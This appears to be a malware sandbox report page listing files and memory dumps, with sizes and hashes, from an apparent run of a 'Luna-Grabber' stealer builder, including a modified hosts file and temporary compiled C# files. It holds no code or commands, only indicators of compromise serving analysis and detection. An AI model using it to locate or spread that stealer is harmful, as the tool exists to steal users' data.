b2a09d52c211e7100e3e68d88c13394c64f23bf2ec3ca25b109ffb1e1a96a054f0e0d25d2f2a0c2145616eabc88c51d63023cef5faa7b49129d020f67ab0b1ff

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ccba5a5986c77e43.customDestinations-ms

Filesize
3KB

MD5
fec666921abee24247a2b09a63ea891d

SHA1
251c354d086c672de68066aa2c7f97056810b12c

SHA256
a6a6da73a6fb539651c592ad5f5ca967f8b352108db3a9611497c7739a84d56f

SHA512
6ae51903a30aeb780cf1c081636b1fd450c033bbc0445be5996fde5cca7f648762aedc02b01d526e356c47e3e8638b3812723481faffe867ec346786fb019042

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ccba5a5986c77e43.customDestinations-ms

Filesize
3KB

MD5
66568750ba701d7fad916ad7523a15ab

SHA1
d8d35e6a4c8fc52a1e1eccae2bb21f619b9d65dd

SHA256
84036265057bc6e3ef83408cfbf724ccec8bd576273fac6e662d4bbb108398dc

SHA512
ae4c38d43ae16c3bb0659cd891d89f1d60ab87e8574826a614ae3619efe9ddc50ed1ae47b061cd96b69dee6842504d10067d642de200fefd26769c63a450f1ce

Download Submit
C:\Users\Admin\Desktop\Luna-Grabber-main\Builder.exe

Filesize
7.3MB

MD5
a215edd9d9788492b561858e44184bca

SHA1
77d8816ecce79f525c118687149e2f3b68dcb984

SHA256
7fbbefdae9adf0f81808b9decf48c08ba4a47293e80cd4855c083ab1f392c184

SHA512
64dfdf28e74a95af3cef3ad89b45d656bb49fba705665aad7878a397f18ae1c1a7e1aca2df466e80179f130b5350f0ac1eea26affe940742c2c42b8930f035ff

Download Submit
C:\Users\Admin\Desktop\Luna-Grabber-main\README.md

Filesize
4KB

MD5
d9e484c060f51dfc8a4d1fcb5d044b94

SHA1
d197965ec974920fc19ddea81c61e174eef04f62

SHA256
5ed9bf8ea44034f189197b3353b8a0eaa85c05eeb2f9b641c35c9295cabe2595

SHA512
a74ec8e6d0c291ab5e5df63623ca1e4bfac7cff67aaab743c4d7b9d36dc2b5c6dc2aab3ad369214fa5cd83d57a349520b4a9d6a6c9b89308d5ea2f167055186b

Download Submit
C:\Users\Admin\Desktop\Luna-Grabber-main\requirements.txt

Filesize
160B

MD5
c140b4b479ff9a70a1b118ea5b41210d

SHA1
2ad5293f22b85aec715a5c2ec37bb318829da0f4

SHA256
ab7f19aedd035cd515579ff8f27ff5108e7cda9c0e976b6a6c40f0637aa9c520

SHA512
8461a30fcf1aac01ec056ec0e2ab812177c502959e0775bcc543a08144e1f761b26da3d200b721a288fdccc7aa8ce00b1a8964aa767a644ee7c05bcb955753bf

Download Submit
C:\Windows\System32\drivers\etc\hosts

Filesize
2KB

MD5
f99e42cdd8b2f9f1a3c062fe9cf6e131

SHA1
e32bdcab8da0e3cdafb6e3876763cee002ab7307

SHA256
a040d43136f2f4c41a4875f895060fb910267f2ffad2e3b1991b15c92f53e0f0

SHA512
c55a5e440326c59099615b21d0948cdc2a42bd9cf5990ec88f69187fa540d8c2e91aebe6a25ed8359a47be29d42357fec4bd987ca7fae0f1a6b6db18e1c320a6

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\231a2q3w\231a2q3w.0.cs

Filesize
1004B

MD5
c76055a0388b713a1eabe16130684dc3

SHA1
ee11e84cf41d8a43340f7102e17660072906c402

SHA256
8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

SHA512
22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\231a2q3w\231a2q3w.cmdline

Filesize
607B

MD5
6c5b80a725fecda0c3372ea952fbe787

SHA1
000098e13b23ed60ce8717e11dff6913114dedd7

SHA256
7db16aefdedb424bb5f532d76575983f2edeeb4e71b71be1a4b682348ba9a489

SHA512
2226d37b2f2ca89bc0840656460ec55300edcaa00d0cd1ba789536294580e9b5f528429182fff80d28a82f5221516724492c664928e2df03eeff1f3f489bc65e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\231a2q3w\CSCB42CB1FC6A90492D98704FC365DC435F.TMP

Filesize
652B

MD5
3a9cad6d5cd1a69c505913287f8e2d6f

SHA1
d1f6ed555ea5f61b657948aa56454b1b1d14b50a

SHA256
700a6d013c9cab35cbdcfa931ef387a80d059825de4493358f465c3207984968

SHA512
f57075a8497c0a75c159647edabb735934e18ca8f956567f7c73f351e0df3513a3bee433f76feee1933324132237cc5ec076c5b1f789285e98c3daa3aabf8faf

Download Submit
memory/2036-256-0x000001467F5F0000-0x000001467F60E000-memory.dmp

Filesize
120KB

Download
memory/3200-192-0x0000025FDB080000-0x0000025FDB088000-memory.dmp

Filesize
32KB

Download
memory/4460-116-0x000001B7E19A0000-0x000001B7E19C2000-memory.dmp

Filesize
136KB

Download
memory/4612-81-0x00007FF8F3A90000-0x00007FF8F3ABD000-memory.dmp

Filesize
180KB

Download
memory/4612-272-0x00007FF8FA390000-0x00007FF8FA3A4000-memory.dmp

Filesize
80KB

Download
memory/4612-257-0x00007FF8F2A60000-0x00007FF8F3049000-memory.dmp

Filesize
5.9MB

Download
memory/4612-263-0x00007FF8F28E0000-0x00007FF8F2A57000-memory.dmp

Filesize
1.5MB

Download
memory/4612-258-0x00007FF8F5190000-0x00007FF8F51B3000-memory.dmp

Filesize
140KB

Download
memory/4612-232-0x00007FF8F22F0000-0x00007FF8F23BD000-memory.dmp

Filesize
820KB

Download
memory/4612-167-0x00007FF8F23C0000-0x00007FF8F28E0000-memory.dmp

Filesize
5.1MB

Download
memory/4612-166-0x00007FF8F31E0000-0x00007FF8F3213000-memory.dmp

Filesize
204KB

Download
memory/4612-134-0x00007FF8FC150000-0x00007FF8FC169000-memory.dmp

Filesize
100KB

Download
memory/4612-133-0x00007FF8F28E0000-0x00007FF8F2A57000-memory.dmp

Filesize
1.5MB

Download
memory/4612-309-0x00007FF8F2A60000-0x00007FF8F3049000-memory.dmp

Filesize
5.9MB

Download
memory/4612-324-0x00007FF8F2A60000-0x00007FF8F3049000-memory.dmp

Filesize
5.9MB

Download
memory/4612-354-0x00007FF8F2A60000-0x00007FF8F3049000-memory.dmp

Filesize
5.9MB

Download
memory/4612-378-0x00007FF8F31E0000-0x00007FF8F3213000-memory.dmp

Filesize
204KB

Download
memory/4612-382-0x00007FF8F21D0000-0x00007FF8F22EC000-memory.dmp

Filesize
1.1MB

Download
memory/4612-381-0x00007FF9041A0000-0x00007FF9041AD000-memory.dmp

Filesize
52KB

Download
memory/4612-380-0x00007FF8FA390000-0x00007FF8FA3A4000-memory.dmp

Filesize
80KB

Download
memory/4612-379-0x00007FF8F23C0000-0x00007FF8F28E0000-memory.dmp

Filesize
5.1MB

Download
memory/4612-377-0x00007FF904310000-0x00007FF90431D000-memory.dmp

Filesize
52KB

Download
memory/4612-376-0x00007FF8FC150000-0x00007FF8FC169000-memory.dmp

Filesize
100KB

Download
memory/4612-375-0x00007FF8F28E0000-0x00007FF8F2A57000-memory.dmp

Filesize
1.5MB

Download
memory/4612-374-0x00007FF8F3220000-0x00007FF8F3243000-memory.dmp

Filesize
140KB

Download
memory/4612-373-0x00007FF903610000-0x00007FF903629000-memory.dmp

Filesize
100KB

Download
memory/4612-372-0x00007FF8F3A90000-0x00007FF8F3ABD000-memory.dmp

Filesize
180KB

Download
memory/4612-371-0x00007FF904750000-0x00007FF90475F000-memory.dmp

Filesize
60KB

Download
memory/4612-370-0x00007FF8F5190000-0x00007FF8F51B3000-memory.dmp

Filesize
140KB

Download
memory/4612-369-0x00007FF8F22F0000-0x00007FF8F23BD000-memory.dmp

Filesize
820KB

Download
memory/4612-132-0x00007FF8F3220000-0x00007FF8F3243000-memory.dmp

Filesize
140KB

Download
memory/4612-105-0x00007FF8F21D0000-0x00007FF8F22EC000-memory.dmp

Filesize
1.1MB

Download
memory/4612-103-0x00007FF9041A0000-0x00007FF9041AD000-memory.dmp

Filesize
52KB

Download
memory/4612-101-0x00007FF8FA390000-0x00007FF8FA3A4000-memory.dmp

Filesize
80KB

Download
memory/4612-95-0x00007FF8F2A60000-0x00007FF8F3049000-memory.dmp

Filesize
5.9MB

Download
memory/4612-97-0x00007FF8F23C0000-0x00007FF8F28E0000-memory.dmp

Filesize
5.1MB

Download
memory/4612-98-0x00007FF8F22F0000-0x00007FF8F23BD000-memory.dmp

Filesize
820KB

Download
memory/4612-99-0x00007FF8F5190000-0x00007FF8F51B3000-memory.dmp

Filesize
140KB

Download
memory/4612-96-0x00007FF8F31E0000-0x00007FF8F3213000-memory.dmp

Filesize
204KB

Download
memory/4612-91-0x00007FF904310000-0x00007FF90431D000-memory.dmp

Filesize
52KB

Download
memory/4612-89-0x00007FF8FC150000-0x00007FF8FC169000-memory.dmp

Filesize
100KB

Download
memory/4612-87-0x00007FF8F28E0000-0x00007FF8F2A57000-memory.dmp

Filesize
1.5MB

Download
memory/4612-85-0x00007FF8F3220000-0x00007FF8F3243000-memory.dmp

Filesize
140KB

Download
memory/4612-83-0x00007FF903610000-0x00007FF903629000-memory.dmp

Filesize
100KB

Download
memory/4612-59-0x00007FF904750000-0x00007FF90475F000-memory.dmp

Filesize
60KB

Download
memory/4612-57-0x00007FF8F5190000-0x00007FF8F51B3000-memory.dmp

Filesize
140KB

Download
memory/4612-52-0x00007FF8F2A60000-0x00007FF8F3049000-memory.dmp

Filesize
5.9MB

Download